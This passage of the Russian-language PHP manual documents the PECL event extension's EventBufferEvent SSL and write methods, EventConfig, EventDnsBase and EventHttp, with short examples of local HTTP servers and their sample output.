Возвращает текстовое описание шифра

  • « EventBufferEvent::sslFilter
  • EventBufferEvent::sslGetCipherName »
  • PHP Manual
  • EventBufferEvent
  • Возвращает текстовое описание шифра

EventBufferEvent::sslGetCipherInfo

(PECL event >= 1.10.0)

EventBufferEvent::sslGetCipherInfo — Возвращает текстовое описание шифра

Описание

public EventBufferEvent::sslGetCipherInfo(): string

Получает описание текущего шифра с помощью функции SSL API SSL_CIPHER_description (смотрите справочную страницу SSL_CIPHER_get_name(3)).

Замечание:

Функция доступна, только если Event скомпилирован с поддержкой OpenSSL.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текстовое описание шифра в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущее имя шифра соединения SSL

  • « EventBufferEvent::sslGetCipherInfo
  • EventBufferEvent::sslGetCipherVersion »
  • PHP Manual
  • EventBufferEvent
  • Возвращает текущее имя шифра соединения SSL

EventBufferEvent::sslGetCipherName

(PECL event >= 1.10.0)

EventBufferEvent::sslGetCipherName — Возвращает текущее имя шифра соединения SSL

Описание

public EventBufferEvent::sslGetCipherName(): string

Получает имя шифра, используемого текущим соединением SSL.

Замечание:

Функция доступна, только если Event скомпилирован с поддержкой OpenSSL.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текущее имя шифра SSL-соединения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает версию шифра, используемого текущим SSL-соединением

  • « EventBufferEvent::sslGetCipherName
  • EventBufferEvent::sslGetProtocol »
  • PHP Manual
  • EventBufferEvent
  • Возвращает версию шифра, используемого текущим SSL-соединением

EventBufferEvent::sslGetCipherVersion

(PECL event >= 1.10.0)

EventBufferEvent::sslGetCipherVersion — Возвращает версию шифра, используемого текущим SSL-соединением

Описание

public EventBufferEvent::sslGetCipherVersion(): string

Получает версию шифра, используемого текущим соединением SSL.

Замечание:

Функция доступна, только если Event скомпилирован с поддержкой OpenSSL.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текущую версию шифрованного соединения SSL или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя протокола, используемого для текущего соединения SSL

  • « EventBufferEvent::sslGetCipherVersion
  • EventBufferEvent::sslRenegotiate »
  • PHP Manual
  • EventBufferEvent
  • Возвращает имя протокола, используемого для текущего соединения SSL

EventBufferEvent::sslGetProtocol

(PECL event >= 1.10.0)

EventBufferEvent::sslGetProtocol — Возвращает имя протокола, используемого для текущего соединения SSL

Описание

public EventBufferEvent::sslGetProtocol(): string

Возвращает имя протокола, используемого для текущего соединения SSL.

Замечание:

Функция доступна, только если Event скомпилирован с поддержкой OpenSSL.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя протокола, используемого для текущего соединения SSL.

User Contributed Notes

There are no user contributed notes for this page.


Сообщает буферному событию начать пересмотр SSL

  • « EventBufferEvent::sslGetProtocol
  • EventBufferEvent::sslSocket »
  • PHP Manual
  • EventBufferEvent
  • Сообщает буферному событию начать пересмотр SSL

EventBufferEvent::sslRenegotiate

(PECL event >= 1.2.6-beta)

EventBufferEvent::sslRenegotiate — Сообщает буферному событию начать пересмотр SSL

Описание

public EventBufferEvent::sslRenegotiate(): void

Сообщает буферному событию начать пересмотр SSL.

Внимание

Вызов этой функции пересмотрит SSL и вызовет соответствующие callback-функции буферного события. Это сложная тема; этого, как правило, следует избегать, если только вы действительно знаете, что делаете, тем более что во многих версиях SSL были известны проблемы безопасности, связанные с пересмотром.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новое буферное событие SSL для отправки своих данных через SSL в сокет

  • « EventBufferEvent::sslRenegotiate
  • EventBufferEvent::write »
  • PHP Manual
  • EventBufferEvent
  • Создаёт новое буферное событие SSL для отправки своих данных через SSL в сокет

EventBufferEvent::sslSocket

(PECL event >= 1.2.6-beta)

EventBufferEvent::sslSocket — Создаёт новое буферное событие SSL для отправки своих данных через SSL в сокет

Описание

public static EventBufferEvent::sslSocket(
EventBase $base ,
mixed $socket ,
EventSslContext $ctx ,
int $state ,
int $options = ?
): EventBufferEvent

Создаёт новое буферное событие SSL для отправки своих данных через SSL в сокет.

Список параметров

base

Связанная база событий.

socket

Сокет, чтобы использовать для SSL. Может быть ресурсом потока или сокета, числовым дескриптором файла или null. Если socket равен null, предполагается, что файловый дескриптор для сокета будет назначен позже, например, с помощью метода EventBufferEvent::connectHost().

ctx

Объект класса EventSslContext.

state

Текущее состояние соединения SSL:
EventBufferEvent::SSL_OPEN,
EventBufferEvent::SSL_ACCEPTING
или EventBufferEvent::SSL_CONNECTING.

options

Параметры буферного события.

Возвращаемые значения

Возвращает объект EventBufferEvent.

Смотрите также

  • EventBufferEvent::sslFilter() - Создаёт новое событие буфера SSL для отправки своих данных через другое событие буфера

User Contributed Notes

There are no user contributed notes for this page.


Добавляет данные в буфер вывода буферного события

  • « EventBufferEvent::sslSocket
  • EventBufferEvent::writeBuffer »
  • PHP Manual
  • EventBufferEvent
  • Добавляет данные в буфер вывода буферного события

EventBufferEvent::write

(PECL event >= 1.2.6-beta)

EventBufferEvent::write — Добавляет данные в буфер вывода буферного события

Описание

public EventBufferEvent::write( string $data ): bool

Добавляет data в буфер вывода буферного события

Список параметров

data

Данные для добавления в базовый буфер.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventBufferEvent::writeBuffer() - Добавляет содержимое всего буфера в буфер вывода буферного события

User Contributed Notes

There are no user contributed notes for this page.


Добавляет содержимое всего буфера в буфер вывода буферного события

  • « EventBufferEvent::write
  • О callback-функциях событийного буфера »
  • PHP Manual
  • EventBufferEvent
  • Добавляет содержимое всего буфера в буфер вывода буферного события

EventBufferEvent::writeBuffer

(PECL event >= 1.2.6-beta)

EventBufferEvent::writeBuffer — Добавляет содержимое всего буфера в буфер вывода буферного события

Описание

public EventBufferEvent::writeBuffer( EventBuffer $buf ): bool

Добавляет содержимое всего буфера в буфер вывода буферного события.

Список параметров

buf

Исходный объект EventBuffer.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventBufferEvent::write() - Добавляет данные в буфер вывода буферного события

User Contributed Notes

There are no user contributed notes for this page.


О callback-функциях событийного буфера

Объект класса EventBufferEvent представляет событийный буфер. Асинхронная природа ввода/вывода выполняемого Libevent подразумевает, что сокет (или какой другой файловый дескриптор) не всегда доступен. Модуль вызывает соответствующие callback-функции когда ресурс готов к чтению или записи, либо когда произошло какое-либо событие (например, ошибка, или конец файла и т.д.).

Callback-функции чтения и записи должны соответствовать следующему прототипу:

callback( EventBufferEvent $bev = null , mixed $arg = null ): void

bev

Связанный объект EventBufferEvent.

arg

Пользовательские данные привязанные ко всем callback-функциям через EventBufferEvent::__construct() или EventBufferEvent::setCallbacks() .

Callback-функции событий должны соответствовать следующему прототипу:

callback( EventBufferEvent $bev = null , int $events = 0 , mixed $arg = null ): void

bev

Связанный объект EventBufferEvent.

events

Битовая маска событий: EventBufferEvent::READING , EventBufferEvent::WRITING , EventBufferEvent::EOL , EventBufferEvent::ERROR и EventBufferEvent::TIMEOUT . Смотрите Константы EventBufferEvent

arg

Пользовательские данные привязанные ко всем callback-функциям через EventBufferEvent::__construct() или EventBufferEvent::setCallbacks() .

User Contributed Notes

There are no user contributed notes for this page.


Класс EventConfig

(PECL event >= 1.2.6-beta)

Введение

Представляет структуру, которую можно использовать при создании EventBase .

Обзор классов

final class EventConfig {
/* Константы */
const int FEATURE_ET = 1;
const int FEATURE_O1 = 2;
const int FEATURE_FDS = 4;
/* Методы */
public avoidMethod( string $method ): bool
public __construct()
public requireFeatures( int $feature ): bool
public setFlags( int $flags ): bool
public setMaxDispatchInterval( int $max_interval , int $max_callbacks , int $min_priority ): void
}

Предопределённые константы

EventConfig::FEATURE_ET

Требуется метод бэкенда, поддерживающий однократное срабатывание при длительном событии (edge-triggered I/O).

EventConfig::FEATURE_O1

Требуется метод бэкенда, для которого удаление, добавление или переключение события в активный статус имеет сложность O(1).

EventConfig::FEATURE_FDS

Требуется метод бэкенда, поддерживающий обычные файловые дескрипторы, а не только сокеты.

Содержание

  • EventConfig::avoidMethod — Попросить libevent не использовать определённый метод события
  • EventConfig::__construct — Создать объект EventConfig
  • EventConfig::requireFeatures — Ввести требуемые приложением свойства метода события
  • EventConfig::setFlags — Устанавливает один или несколько флагов для настройки возможной инициализации EventBase
  • EventConfig::setMaxDispatchInterval — Предотвратить инверсию приоритетов

User Contributed Notes

There are no user contributed notes for this page.


Попросить libevent не использовать определённый метод события

  • « EventConfig
  • EventConfig::__construct »
  • PHP Manual
  • EventConfig
  • Попросить libevent не использовать определённый метод события

EventConfig::avoidMethod

(PECL event >= 1.2.6-beta)

EventConfig::avoidMethod — Попросить libevent не использовать определённый метод события

Описание

public EventConfig::avoidMethod( string $method ): bool

Попросить libevent не использовать определённый метод события (бэкенд). Смотрите » Создание базы события.

Список параметров

method

Метод бэкенда, который нужно игнорировать. Смотрите константы EventConfig .

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования EventConfig::avoidMethod()

<?php
$cfg = new EventConfig();
if ($cfg->avoidMethod("select")) {
echo "Метод 'select' будет игнорироваться\n";
}
?>

Смотрите также

  • EventBase::__construct() - Конструктор объекта EventBase

User Contributed Notes

There are no user contributed notes for this page.


Создать объект EventConfig

  • « EventConfig::avoidMethod
  • EventConfig::requireFeatures »
  • PHP Manual
  • EventConfig
  • Создать объект EventConfig

EventConfig::__construct

(PECL event >= 1.2.6-beta)

EventConfig::__construct — Создать объект EventConfig

Описание

public EventConfig::__construct()

Создаёт объект EventConfig, который можно передать в конструктор EventBase::__construct().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект EventConfig.

Примеры

Пример #1 Пример использования EventConfig::__construct()

<?php
// Игнорируем метод "select"
$cfg = new EventConfig();
if ($cfg->avoidMethod("select")) {
echo "Метод 'select' будет игнорироваться\n";
}

// Создаём event_base, связанный с этим конфигом
$base = new EventBase($cfg);

/* Теперь $base настроен на игнорирование метода select (бэкенд) */
?>

Смотрите также

  • EventBase::__construct() - Конструктор объекта EventBase

User Contributed Notes

There are no user contributed notes for this page.


Ввести требуемые приложением свойства метода события

  • « EventConfig::__construct
  • EventConfig::setFlags »
  • PHP Manual
  • EventConfig
  • Ввести требуемые приложением свойства метода события

EventConfig::requireFeatures

(PECL event >= 1.2.6-beta)

EventConfig::requireFeatures — Ввести требуемые приложением свойства метода события

Описание

public EventConfig::requireFeatures( int $feature ): bool

Вводит требуемую приложением функциональность метода события

Список параметров

feature

Битовая маска требуемых свойств. Смотрите константы EventConfig::FEATURE_*

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования EventConfig::requireFeatures()

<?php
$cfg = new EventConfig();

// Создаём event_base, связанный с конфигом $cfg
$base = new EventBase($cfg);

// Запрашиваем свойство FDS
if ($cfg->requireFeatures(EventConfig::FEATURE_FDS)) {
echo "Свойство FDS запрошено\n";

$base = new EventBase($cfg);
($base->getFeatures() & EventConfig::FEATURE_FDS)
and print("FDS - произвольные типы дескрипторов файлов, а не только сокеты\n");
}
?>

Результатом выполнения данного примера будет что-то подобное:

Свойство FDS запрошено
FDS - произвольные типы дескрипторов файлов, а не только сокеты

Смотрите также

  • EventBase::getFeatures() - Возвращает битовую маску поддерживаемых функций

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает один или несколько флагов для настройки возможной инициализации EventBase

  • « EventConfig::requireFeatures
  • EventConfig::setMaxDispatchInterval »
  • PHP Manual
  • EventConfig
  • Устанавливает один или несколько флагов для настройки возможной инициализации EventBase

EventConfig::setFlags

(PECL event >= 2.0.2-alpha)

EventConfig::setFlags — Устанавливает один или несколько флагов для настройки возможной инициализации EventBase

Описание

public EventConfig::setFlags( int $flags ): bool

Устанавливает один или несколько флагов для настройки того, какие части возможной EventBase будут инициализированы и как они будут работать.

Список параметров

flags

Одна из констант EventBase::LOOP_*. Смотрите константы EventBase.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventBase::getFeatures() - Возвращает битовую маску поддерживаемых функций

User Contributed Notes

There are no user contributed notes for this page.


Предотвратить инверсию приоритетов

  • « EventConfig::setFlags
  • EventDnsBase »
  • PHP Manual
  • EventConfig
  • Предотвратить инверсию приоритетов

EventConfig::setMaxDispatchInterval

(PECL event >= 2.1.0-alpha)

EventConfig::setMaxDispatchInterval — Предотвратить инверсию приоритетов

Описание

public EventConfig::setMaxDispatchInterval( int $max_interval , int $max_callbacks , int $min_priority ): void

Предотвратить инверсию приоритетов путём ограничения числа обрабатываемых низкоприоритетных событий перед очередной проверкой на присутствие более приоритетных.

Замечание:

Доступно с libevent 2.1.0-alpha.

Список параметров

max_interval

Интервал, после которого Libevent обязан прекратить запускать callback-функции и проверить наличие новых событий, либо 0, чтобы не использовать такой функционал.

max_callbacks

Количество запущенных callback-функций, после которого Libevent приостановит их запуск и проверит, есть ли новые события. -1, чтобы не использовать такой функционал.

min_priority

Приоритет, ниже которого max_interval и max_callbacks не должны применяться. Если установлено как 0, данные ограничения будут применяться к событиям с любым приоритетом; Если установлено в 1 , ограничения будут применяться к событиям приоритета 1 и выше. И так далее.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Класс EventDnsBase

(PECL event >= 1.2.6-beta)

Введение

Представляет структуру DNS библиотеки Libevent. Используется для асинхронного разрешения DNS, разбора конфигурационного файла resolv.conf и т.д.

Обзор классов

final class EventDnsBase {
/* Константы */
const int OPTION_SEARCH = 1;
const int OPTION_NAMESERVERS = 2;
const int OPTION_MISC = 4;
const int OPTION_HOSTSFILE = 8;
const int OPTIONS_ALL = 15;
/* Методы */
public addNameserverIp( string $ip ): bool
public addSearch( string $domain ): void
public clearSearch(): void
public __construct( EventBase $base , bool $initialize )
public countNameservers(): int
public loadHosts( string $hosts ): bool
public parseResolvConf( int $flags , string $filename ): bool
public setOption( string $option , string $value ): bool
public setSearchNdots( int $ndots ): bool
}

Предопределённые константы

EventDnsBase::OPTION_SEARCH

Указывает читать домен и поисковые поля из файла resolv.conf и опции ndots и использовать их для определения доменов (если есть), в которых будет производиться поиск по короткому имени хоста.

EventDnsBase::OPTION_NAMESERVERS

Указывает использовать сервера имён (nameservers) из файла resolv.conf.

EventDnsBase::OPTION_MISC

EventDnsBase::OPTION_HOSTSFILE

Указывает брать список хостов из файла /etc/hosts при загрузке resolv.conf.

EventDnsBase::OPTIONS_ALL

Указывает использовать все, что только возможно из файла resolv.conf.

Содержание

  • EventDnsBase::addNameserverIp — Добавляет сервер имён в базу DNS
  • EventDnsBase::addSearch — Добавляет домен в список поисковых доменов
  • EventDnsBase::clearSearch — Удаляет все текущие суффиксы поиска
  • EventDnsBase::__construct — Конструктор объекта EventDnsBase
  • EventDnsBase::countNameservers — Получает количество настроенных серверов имён
  • EventDnsBase::loadHosts — Загружает файл hosts (в том же формате, что и /etc/hosts) из файла hosts
  • EventDnsBase::parseResolvConf — Сканирует файл в формате resolv.conf
  • EventDnsBase::setOption — Устанавливает значение параметра конфигурации
  • EventDnsBase::setSearchNdots — Устанавливает параметр 'ndots' для поиска

User Contributed Notes

There are no user contributed notes for this page.


Добавляет сервер имён в базу DNS

  • « EventDnsBase
  • EventDnsBase::addSearch »
  • PHP Manual
  • EventDnsBase
  • Добавляет сервер имён в базу DNS

EventDnsBase::addNameserverIp

(PECL event >= 1.2.6-beta)

EventDnsBase::addNameserverIp — Добавляет сервер имён в базу DNS

Описание

public EventDnsBase::addNameserverIp( string $ip ): bool

Добавляет сервер имён в базу evdns_base.

Список параметров

ip

Строка сервера имён в виде адреса IPv4, адреса IPv6, адреса IPv4 с портом (IPv4:Port) или адреса IPv6 с портом ([IPv6]:Port).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет домен в список поисковых доменов

  • « EventDnsBase::addNameserverIp
  • EventDnsBase::clearSearch »
  • PHP Manual
  • EventDnsBase
  • Добавляет домен в список поисковых доменов

EventDnsBase::addSearch

(PECL event >= 1.2.6-beta)

EventDnsBase::addSearch — Добавляет домен в список поисковых доменов

Описание

public EventDnsBase::addSearch( string $domain ): void

Добавляет домен в список поисковых доменов

Список параметров

domain

Поисковой домен.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет все текущие суффиксы поиска

  • « EventDnsBase::addSearch
  • EventDnsBase::__construct »
  • PHP Manual
  • EventDnsBase
  • Удаляет все текущие суффиксы поиска

EventDnsBase::clearSearch

(PECL event >= 1.2.6-beta)

EventDnsBase::clearSearch — Удаляет все текущие суффиксы поиска

Описание

public EventDnsBase::clearSearch(): void

Удаляет все текущие суффиксы поиска из базы DNS; функция EventDnsBase::addSearch() добавляет суффикс.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EventDnsBase::addSearch() - Добавляет домен в список поисковых доменов

User Contributed Notes

There are no user contributed notes for this page.


Конструктор объекта EventDnsBase

  • « EventDnsBase::clearSearch
  • EventDnsBase::countNameservers »
  • PHP Manual
  • EventDnsBase
  • Конструктор объекта EventDnsBase

EventDnsBase::__construct

(PECL event >= 1.2.6-beta)

EventDnsBase::__construct — Конструктор объекта EventDnsBase

Описание

public EventDnsBase::__construct( EventBase $base , bool $initialize )

Конструктор объекта EventDnsBase.

Список параметров

base

База событий.

initialize

Если аргумент initialize имеет значение true, он пытается разумно настроить базу DNS с учётом параметров операционной системы по умолчанию. В противном случае база DNS-событий остаётся пустой, без настроенных серверов имён или параметров. В последнем случае база DNS должна быть настроена вручную, например, с помощью EventDnsBase::parseResolvConf().

Возвращаемые значения

Возвращает объект EventDnsBase.

User Contributed Notes

There are no user contributed notes for this page.


Получает количество настроенных серверов имён

  • « EventDnsBase::__construct
  • EventDnsBase::loadHosts »
  • PHP Manual
  • EventDnsBase
  • Получает количество настроенных серверов имён

EventDnsBase::countNameservers

(PECL event >= 1.2.6-beta)

EventDnsBase::countNameservers — Получает количество настроенных серверов имён

Описание

public EventDnsBase::countNameservers(): int

Получает количество настроенных серверов имён

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество настроенных серверов имён (не обязательно количество запущенных серверов имён). Это можно использовать для дополнительной проверки того, были ли успешными вызовы различных функций конфигурации сервера имён.

User Contributed Notes

There are no user contributed notes for this page.


Загружает файл hosts (в том же формате, что и /etc/hosts) из файла hosts

  • « EventDnsBase::countNameservers
  • EventDnsBase::parseResolvConf »
  • PHP Manual
  • EventDnsBase
  • Загружает файл hosts (в том же формате, что и /etc/hosts) из файла hosts

EventDnsBase::loadHosts

(PECL event >= 1.2.6-beta)

EventDnsBase::loadHosts — Загружает файл hosts (в том же формате, что и /etc/hosts) из файла hosts

Описание

public EventDnsBase::loadHosts( string $hosts ): bool

Загружает файл hosts (в том же формате, что и /etc/hosts) из файла hosts.

Список параметров

hosts

Путь к файлу хостов.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Сканирует файл в формате resolv.conf

  • « EventDnsBase::loadHosts
  • EventDnsBase::setOption »
  • PHP Manual
  • EventDnsBase
  • Сканирует файл в формате resolv.conf

EventDnsBase::parseResolvConf

(PECL event >= 1.2.6-beta)

EventDnsBase::parseResolvConf — Сканирует файл в формате resolv.conf

Описание

public EventDnsBase::parseResolvConf( int $flags , string $filename ): bool

Сканирует файл в формате resolv.conf, хранящийся в filename, и считывает все параметры из него, которые перечислены во флагах.

Список параметров

flags

Определяет, какая информация анализируется из файла resolv.conf. Смотрите справочную страницу resolv.conf по формату этого файла.

Следующие директивы не анализируются из файла: sortlist, rotate, no-check-names, inet6, debug.

Если функция обнаруживает ошибку, возможные возвращаемые значения:

  • 1 = не удалось открыть файл
  • 2 = не удалось определить размер файла
  • 3 = файл слишком большой
  • 4 = недостаточно памяти
  • 5 = краткое чтение из файла
  • 6 = в файле нет серверов имён

filename

Путь до resolv.conf файла.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает значение параметра конфигурации

  • « EventDnsBase::parseResolvConf
  • EventDnsBase::setSearchNdots »
  • PHP Manual
  • EventDnsBase
  • Устанавливает значение параметра конфигурации

EventDnsBase::setOption

(PECL event >= 1.2.6-beta)

EventDnsBase::setOption — Устанавливает значение параметра конфигурации

Описание

public EventDnsBase::setOption( string $option , string $value ): bool

Устанавливает значение параметра конфигурации.

Список параметров

option

В настоящее время доступны следующие параметры конфигурации: "ndots", "timeout", "max-timeouts", "max-inflight" и "attempts".

value

Значение параметра.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает параметр 'ndots' для поиска

  • « EventDnsBase::setOption
  • EventHttp »
  • PHP Manual
  • EventDnsBase
  • Устанавливает параметр 'ndots' для поиска

EventDnsBase::setSearchNdots

(PECL event >= 1.2.6-beta)

EventDnsBase::setSearchNdots — Устанавливает параметр 'ndots' для поиска

Описание

public EventDnsBase::setSearchNdots( int $ndots ): bool

Устанавливает параметр 'ndots' для поиска. Устанавливает количество точек, которое при нахождении в имени приводит к тому, что первый запрос не имеет поискового домена.

Список параметров

ndots

Количество точек.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Класс EventHttp

(PECL event >= 1.4.0-beta)

Введение

Представляет сервер HTTP.

Обзор классов

final class EventHttp {
/* Методы */
public accept( mixed $socket ): bool
public addServerAlias( string $alias ): bool
public bind( string $address , int $port ): void
public __construct( EventBase $base , EventSslContext $ctx = null )
public removeServerAlias( string $alias ): bool
public setAllowedMethods( int $methods ): void
public setCallback( string $path , string $cb , string $arg = ?): void
public setDefaultCallback( string $cb , string $arg = ?): void
public setMaxBodySize( int $value ): void
public setMaxHeadersSize( int $value ): void
public setTimeout( int $value ): void
}

Содержание

  • EventHttp::accept — Заставляет HTTP-сервер принимать соединения с указанным потоком сокета или ресурсом
  • EventHttp::addServerAlias — Добавляет псевдоним сервера к объекту HTTP-сервера
  • EventHttp::bind — Привязывает HTTP-сервер к указанному адресу и порту
  • EventHttp::__construct — Создаёт объект EventHttp (HTTP-сервер)
  • EventHttp::removeServerAlias — Удаляет псевдоним сервера
  • EventHttp::setAllowedMethods — Устанавливает, какие методы HTTP поддерживаются в запросах, принятых этим сервером и переданных callback-функции пользователя
  • EventHttp::setCallback — Устанавливает callback-функцию для указанного URI
  • EventHttp::setDefaultCallback — Устанавливает callback-функцию по умолчанию для обработки запросов, которые не перехватываются конкретными callback-функциями
  • EventHttp::setMaxBodySize — Устанавливает максимальный размер тела запроса
  • EventHttp::setMaxHeadersSize — Устанавливает максимальный размер HTTP-заголовка
  • EventHttp::setTimeout — Устанавливает время ожидания для HTTP-запроса

User Contributed Notes

There are no user contributed notes for this page.


Заставляет HTTP-сервер принимать соединения с указанным потоком сокета или ресурсом

  • « EventHttp
  • EventHttp::addServerAlias »
  • PHP Manual
  • EventHttp
  • Заставляет HTTP-сервер принимать соединения с указанным потоком сокета или ресурсом

EventHttp::accept

(PECL event >= 1.2.6-beta)

EventHttp::accept — Заставляет HTTP-сервер принимать соединения с указанным потоком сокета или ресурсом

Описание

public EventHttp::accept( mixed $socket ): bool

Заставляет HTTP-сервер принимать соединения с указанным потоком сокета или ресурсом. Сокет должен быть готов к приёму соединений.

Может вызываться несколько раз, чтобы принимать соединения на разных сокетах.

Замечание:

Чтобы связать сокет, прослушать и принять соединения на сокете в одном вызове, используйте EventHttp::bind(). EventHttp::accept() требуется только в том случае, если у одного вызова уже есть сокет, готовый для принятия соединений.

Список параметров

socket

Ресурс сокета, потоковый или числовой дескриптор файла, представляющий сокет, готовый принимать соединения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования EventHttp::accept()

<?php
$base = new EventBase();
$http = new EventHttp($base);

$addresses = array (
8091 => "127.0.0.1",
8092 => "127.0.0.2",
);
$i = 0;

$socket = array();

foreach ($addresses as $port => $ip) {
echo $ip, " ", $port, PHP_EOL;
$socket[$i] = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!socket_bind($socket[$i], $ip, $port)) {
exit("ошибка socket_bind\n");
}
socket_listen($socket[$i], 0);
socket_set_nonblock($socket[$i]);

if (!$http->accept($socket[$i])) {
echo "Принять не удалось\n";
exit(1);
}

++$i;
}

$http->setCallback("/some-page", function() {
echo "(some-page)\n";
echo "URI: ", $req->getUri(), PHP_EOL;
$req->sendReply(200, "OK");
echo "OK\n";
});

$http->setDefaultCallback(function($req) {
echo "URI: ", $req->getUri(), PHP_EOL;
$req->sendReply(200, "OK");
echo "OK\n";
});

$signal = Event::signal($base, SIGINT, function () use ($base) {
echo "Пойман SIGINT. Останавливаем...\n";
$base->stop();
});
$signal->add();

$base->dispatch();
echo "конец\n";
// Мы не закрывали сокеты, так как Libevent
// уже установил флаги CLOSE_ON_FREE и CLOSE_ON_EXEC
// в дескрипторе файла, связанном с сокетами.
?>

Результатом выполнения данного примера будет что-то подобное:

Client:
$ nc 127.0.0.1 8091
GET /about HTTP/1.0
Connection: close

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

Server:
127.0.0.1 8091
127.0.0.2 8092
URI: /about
OK

Смотрите также

  • EventHttp::bind() - Привязывает HTTP-сервер к указанному адресу и порту

User Contributed Notes

There are no user contributed notes for this page.


Добавляет псевдоним сервера к объекту HTTP-сервера

  • « EventHttp::accept
  • EventHttp::bind »
  • PHP Manual
  • EventHttp
  • Добавляет псевдоним сервера к объекту HTTP-сервера

EventHttp::addServerAlias

(PECL event >= 1.4.0-beta)

EventHttp::addServerAlias — Добавляет псевдоним сервера к объекту HTTP-сервера

Описание

public EventHttp::addServerAlias( string $alias ): bool

Добавляет псевдоним сервера к объекту HTTP-сервера.

Список параметров

alias

Псевдоним для добавления.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования EventHttp::addServerAlias()

<?php
$base = new EventBase();
$http = new EventHttp($base);

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if (!$http->bind("127.0.0.1", 8088)) {
exit("bind(1) ошибка\n");
};

if (!$http->addServerAlias("local.net")) {
exit("Не удалось добавить псевдоним сервера\n");
}

$http->setCallback("/about", function($req) {
echo "URI: ", $req->getUri(), PHP_EOL;
$req->sendReply(200, "OK");
});
$base->dispatch();
?>

Смотрите также

  • EventHttp::removeServerAlias() - Удаляет псевдоним сервера

User Contributed Notes

There are no user contributed notes for this page.


Привязывает HTTP-сервер к указанному адресу и порту

  • « EventHttp::addServerAlias
  • EventHttp::__construct »
  • PHP Manual
  • EventHttp
  • Привязывает HTTP-сервер к указанному адресу и порту

EventHttp::bind

(PECL event >= 1.2.6-beta)

EventHttp::bind — Привязывает HTTP-сервер к указанному адресу и порту

Описание

public EventHttp::bind( string $address , int $port ): void

Привязывает HTTP-сервер к указанному адресу и порту.

Может вызываться несколько раз для привязки одного и того же HTTP-сервера к нескольким разным портам.

Список параметров

address

Строка, содержащая IP-адрес для прослушивания(2).

port

Номер порта для прослушивания.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования EventHttp::bind()

<?php
$base = new EventBase();
$http = new EventHttp($base);

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if (!$http->bind("127.0.0.1", 8088)) {
exit("связать(1) не удалось\n");
};
if (!$http->bind("127.0.0.1", 8089)) {
exit("связать(2) не удалось\n");
};

$http->setCallback("/about", function($req) {
echo "URI: ", $req->getUri(), PHP_EOL;
$req->sendReply(200, "OK");
echo "OK\n";
});

$base->dispatch();
?>

Результатом выполнения данного примера будет что-то подобное:

Client:

$ nc 127.0.0.1 8088
GET /about HTTP/1.0
Connection: close

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

$ nc 127.0.0.1 8089
GET /unknown HTTP/1.0
Connection: close

HTTP/1.1 404 Not Found
Content-Type: text/html
Date: Wed, 13 Mar 2013 04:14:41 GMT
Content-Length: 149
Connection: close

<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /unknown was not found on this server.</p></body></html>

Server:
URI: /about
OK

Смотрите также

  • EventHttp::accept() - Заставляет HTTP-сервер принимать соединения с указанным потоком сокета или ресурсом

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект EventHttp (HTTP-сервер)

  • « EventHttp::bind
  • EventHttp::removeServerAlias »
  • PHP Manual
  • EventHttp
  • Создаёт объект EventHttp (HTTP-сервер)

EventHttp::__construct

(PECL event >= 1.2.6-beta)

EventHttp::__construct — Создаёт объект EventHttp (HTTP-сервер)

Описание

public EventHttp::__construct( EventBase $base , EventSslContext $ctx = null )

Создаёт объект HTTP-сервера.

Список параметров

base

Связанная база событий.

ctx

Объект класса EventSslContext. Превращает простой HTTP-сервер в HTTPS-сервер. Это значит, что если ctx настроен правильно, то основные события буфера будут основаны на сокетах OpenSSL. Таким образом, весь трафик будет проходить через SSL или TLS.

Замечание:

